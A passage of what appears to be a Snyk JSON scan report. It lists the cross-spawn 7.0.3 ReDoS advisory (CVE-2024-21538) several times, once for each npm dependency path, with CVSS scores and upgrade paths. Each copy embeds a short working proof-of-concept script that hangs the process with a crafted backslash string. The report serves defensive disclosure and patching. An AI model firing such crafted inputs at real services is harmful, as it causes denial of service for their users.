"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
